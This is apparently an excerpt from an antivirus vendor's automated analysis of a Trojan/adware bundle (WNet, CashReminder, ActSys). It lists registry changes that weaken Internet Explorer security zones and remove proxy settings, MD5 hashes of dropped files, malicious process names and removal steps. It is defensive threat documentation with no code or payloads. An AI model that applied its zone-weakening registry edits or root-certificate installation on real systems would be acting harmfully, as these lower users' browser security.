"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Services\ssfilterdrv]
"Tag" = "11"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\WNet]
"instid" = "CsmhKBb6CJwuW6jBNP8SNHgMXJzTyTUy"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0A 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "68 96 A4 08 A1 8F 27 4C 3E F4 AA 7A 85 96 CB 9C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process WNet.exe:1416 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "04 63 3C 0A 6A 6C B8 2F B8 0F 8F EA E5 EC E4 58"

The process lV3vYxkgImpuHrJdsvvA2VZp.exe:1388 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 DF 76 45 EF 79 73 07 8A 63 30 AD D1 26 90 98"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\CashReminder]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"Publisher" = "Related Deals"

[HKLM\SOFTWARE\CashReminder]
"affid" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"UninstallString" = "%Program Files%\CashReminder\remove.exe /S"

[HKLM\System\CurrentControlSet\Services\CashReminder]
"Description" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (QlYOaIfGuesOSBtrYTYAF70Iqc79C)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayName" = "CashReminder"
"Comments" = "CashReminder will remind you when you can earn a percent of your money back shopping online and related products with lower prices! (Build: QlYOaIfGuesOSBtrYTYAF70Iqc79C)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\CashReminder]
"DisplayVersion" = "2.1.0"
"QuietUninstallString" = "%Program Files%\CashReminder\remove.exe /S"

Dropped PE files

MD5	File path
4580ac6f8adadb5ce9f296f7ff5b15dd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150914005024\I\tmp\SSFK_v2.0.6.26.exe
4ef33080e04366b39b10883b6694972a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150914005024\I\tmp\UninstallManager.exe
809b39a1a036c20994e68cf322a2519a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150914005024\I\tmp\wpm_v20.0.0.2301.exe
1c76d7defa116a328f47036b54126e6c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\import_root_cert.exe
a253cbbfbceee37dd90b999d26542038	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\certutil.exe
0847bc96e23565dbae072ca335a212c9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll
32b2685234074047263d4a0cc8bf5d56	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll
09cacf1074663b90a88c2345f42425ff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\nss3.dll
1cce55587f95d57759e36f387c4f9dee	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\plc4.dll
9b31fe86fac03999982dccbe2a0103ac	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\plds4.dll
031a02aadf62df41f8558a18e5d280a9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\smime3.dll
b2ad88dd7b83b62695b764d1dadfc15d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll
85e934b4fb894451250c922119c9b21d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_is.exe
c3bd754794bf75bf3fba05ec47099f6c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe
d704946e9d6a11585e315efb76c1fb49	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe
4a55c7ba203a42c5f6014fa68c221b02	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe
d7a3fa6a6c738b4a3c40d5602af20b08	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsq3.tmp\inetc.dll
84bcf3c71e70d5a6e9dc07d70466bdc3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsq3.tmp\nsWeb.dll
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsq3.tmp\registry.dll
84bcf3c71e70d5a6e9dc07d70466bdc3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsr6.tmp\nsWeb.dll
905e2be9c511e129b487b526ba2e0ca5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\310714_br[1].exe
4a55c7ba203a42c5f6014fa68c221b02	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\240714_ps[1].exe
c9a7119d6bce1580d2b981e89f792951	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\280815_cr[1].exe
d704946e9d6a11585e315efb76c1fb49	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_a9[1].exe
85e934b4fb894451250c922119c9b21d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_is[1]
15a8da2997bc76d21f40380ea3163acb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\291014_nj[1].exe
c3bd754794bf75bf3fba05ec47099f6c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\310714_mb[1]
5b46443f5326d4e7b8bb243229e824ba	c:\Program Files\ActSys\ActSys.exe
f463ca1345ed866697f460ffd36db4f6	c:\Program Files\ActSys\ProtocolFilters.dll
47a9d585dbf59f54574d978c4200a520	c:\Program Files\ActSys\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\ActSys\nfapi.dll
01b5780505301ada6dc102fb77b2298c	c:\Program Files\ActSys\nfregdrv.exe
be38326d39ceb9fb0ad69aecb0d6d11d	c:\Program Files\ActSys\remove_ActSys.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\ActSys\ssleay32.dll
56b55f57f9454f91d2c67a34c88600c2	c:\Program Files\CashReminder\CashReminder.exe
fab8104ced422c551bcf2dda631e5930	c:\Program Files\CashReminder\ProtocolFilters.dll
47a9d585dbf59f54574d978c4200a520	c:\Program Files\CashReminder\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\CashReminder\nfapi.dll
01b5780505301ada6dc102fb77b2298c	c:\Program Files\CashReminder\nfregdrv.exe
f4cb5375ece85ee8a909e9a3b1b8597a	c:\Program Files\CashReminder\remove.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\CashReminder\ssleay32.dll
fab8104ced422c551bcf2dda631e5930	c:\Program Files\WNet\ProtocolFilters.dll
45571677457a9bfd49aadada0fd91ca8	c:\Program Files\WNet\WNet.exe
47a9d585dbf59f54574d978c4200a520	c:\Program Files\WNet\libeay32.dll
04a835251535006c85473a604fba8bdc	c:\Program Files\WNet\nfapi.dll
92a6df47283b49b207045fa7a4502bc1	c:\Program Files\WNet\nfregdrv.exe
2da6e9df4979ca65a01c4df6eb5600d2	c:\Program Files\WNet\ssleay32.dll
c9eacab594f8639583d7330acd4f3848	c:\Program Files\WNet\uninst.exe
1a97cfc42ec25225d83d311f687418f0	c:\WINDOWS\system32\drivers\asfilterdrv.sys
3f48ed48d01ce6c6be680d285c93e9de	c:\WINDOWS\system32\drivers\crfilterdrv.sys
ad00326c28d84ed704c2f87cda6c9998	c:\WINDOWS\system32\drivers\ssfilterdrv.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
net1.exe:2524
net1.exe:2484
net1.exe:1880
lV3vYxkgImpuHrJdsvvA2VZp_is.exe:448
WdsManPro.exe:3040
WdsManPro.exe:3008
SSFK_v2.0.6.26.exe:2980
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe:1272
CashReminder.exe:2060
net.exe:2492
net.exe:1972
net.exe:2408
QQBrowser.exe:1956
QQBrowser.exe:2764
ActSys.exe:2332
wpm_v20.0.0.2301.exe:2928
SFKEX.exe:2356
nfregdrv.exe:888
nfregdrv.exe:600
%original file name%.exe:872
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe:1084
SSFK.exe:3392
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe:2020
lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe:608
WNet.exe:1416
lV3vYxkgImpuHrJdsvvA2VZp.exe:1388
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\is-NHRR5.tmp\lV3vYxkgImpuHrJdsvvA2VZp_is.tmp (195 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\f[2].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\010914i[1].htm (787 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl5.tmp (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\mobi[1].js (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\mobi2[1].js (4356 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\f[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\verificar_ip[1].htm (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\extreme[1].htm (86 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\s9[1].gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\verificar_ip[1].php (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\mobi2[2].js (4029 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\top-line[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\010914i[1].htm (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\mobi[2].js (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\icone_cadeado[1].gif (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\carregando[1].gif (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp\nsWeb.dll (8 bytes)
%Program Files%\SFK\SSFK.exe (2321 bytes)
%Program Files%\SFK\install (72 bytes)
%Program Files%\SFK\SFK.ini (153 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\WNet\nfregdrv.exe (1552 bytes)
%Program Files%\WNet\WNet.exe (15168 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\System.dll (11 bytes)
%Program Files%\WNet\uninst.exe (2353 bytes)
%Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
%Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
%System%\drivers\ssfilterdrv.sys (57 bytes)
%Program Files%\WNet\ssleay32.dll (12536 bytes)
%Program Files%\WNet\nfapi.dll (4992 bytes)
%Program Files%\WNet\libeay32.dll (41192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsoA.tmp (53652 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SelfDel.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsvB.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\SRKX8H05\stores[1].htm (784 bytes)
%WinDir%\Temp\P_StoreList.txt (784 bytes)
%WinDir%\Temp\P_RuleList.txt (314 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\bnd (2 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\HomePage.dat (157 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\645.json (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\Z (42 bytes)
%Documents and Settings%\%current user%\Application Data\istartsurf\UninstallManager.exe (2105 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\645.db (179 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\z[1].htm (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\SSFK_v2.0.6.26.exe (2771 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\wpm_v20.0.0.2301.exe (2772 bytes)
%WinDir%\Temp\ActSys\SSL\cert.db (1 bytes)
%WinDir%\Temp\ActSys\SSL\ActSSL 2.cer (2268 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\rules[1].txt (313 bytes)
%Documents and Settings%\All Users\Application Data\{262E20B8-6E20-4CEF-B1FD-D022AB1085F5}.dat (178 bytes)
%Documents and Settings%\All Users\Application Data\lWdsManProl\WdsManPro.exe (2321 bytes)
%Program Files%\SFK\Z (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\z[1].htm (42 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\310714_mb[1] (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\0053.urlshortener[2].js (1218 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq2.tmp (2104 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\css[1].css (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_nj.exe (127303 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\291014_nj[1].exe (127303 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_ps.exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\url_shortener_logo[1].gif (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_a9[1].exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\240714_ps[1].exe (33816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_is.exe (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\registry.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\nsWeb.dll (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_a9.exe (21968 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\go[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\xKPQyH[1] (700 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp.exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\280815_cr[1].exe (84591 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\310714_br[1].exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\0053.urlshortener[1].js (1928 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZp_mb_1.exe (3656 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\0053.urlshortener[2].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\4fu8RBPDDCYpod03lr_bYQ[1].eot (9283 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\0053.urlshortener[1].css (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsq3.tmp\inetc.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OHYRGXIJ\310714_is[1] (52816 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\05I7KPMB\xKPQyH[1].htm (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Temp\OlV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp\lV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZplV3vYxkgImpuHrJdsvvA2VZp_br.exe (88107 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\mj (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\tlg (41 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Plain Savings\lm (128 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\IpConfig.dll (4136 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\NSISEncrypt.dll (3188 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsJSON.dll (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\UserInfo.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsC.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\WmiInspector.dll (3039 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsx8.tmp\nsD.tmp (6 bytes)
%Program Files%\SFK\SFKEX64.dll (14184 bytes)
%Program Files%\SFK\Yrrehs.zip (291 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX.exe (3616 bytes)
%Program Files%\SFK\Run (72 bytes)
%Program Files%\SFK\SFKEX.dll (12088 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\VMwareXVirtualXIDEXHardXDrive_00000000000000000001[1].htm (72 bytes)
%Program Files%\SFK\SFKEX64.exe (4992 bytes)
%Program Files%\SFK\Heartbeat (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\nsExec.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import_root_cert.exe (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\certutil.exe (3312 bytes)
%Program Files%\ActSys\ActSys.exe (15536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\import.bat (69 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\ns14.tmp (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nstF.tmp (146769 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\actssl.cer (756 bytes)
%System%\drivers\asfilterdrv.sys (57 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\nss3.dll (12536 bytes)
%Program Files%\ActSys\remove_ActSys.exe (825 bytes)
%Program Files%\ActSys\ssleay32.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plds4.dll (784 bytes)
%Program Files%\ActSys\nfapi.dll (4992 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SelfDel.dll (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\plc4.dll (784 bytes)
%Program Files%\ActSys\asfilterdrv.sys (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll (23936 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ActSys\SSL\nss\smime3.dll (3616 bytes)
%Program Files%\ActSys\libeay32.dll (41192 bytes)
%Program Files%\ActSys\nfregdrv.exe (1552 bytes)
%Program Files%\ActSys\ProtocolFilters.dll (38904 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw10.tmp\SimpleSC.dll (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OX6J4PMZ\1[1].zip (80934 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\645.json (524 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\xlxbqc (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\uninstallDlg2.xml (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\II.zip (42848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\89AJKDYV\2[1].zip (87894 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I.zip (20792 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\7thGame (19 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\conf (79 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowser.exe (5064 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\defsearchp@gmail.com!1.0.0.1039.xpi (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\QQBrowserFrame.dll (3616 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\ffv2#0.0.10.xpi (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20150914005024\I\tmp\UninstallManager.exe (12536 bytes)
%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (232 bytes)
%Program Files%\CashReminder\ssleay32.dll (12536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nst12.tmp (53797 bytes)
%Program Files%\CashReminder\nfapi.dll (4992 bytes)
%Program Files%\CashReminder\remove.exe (313 bytes)
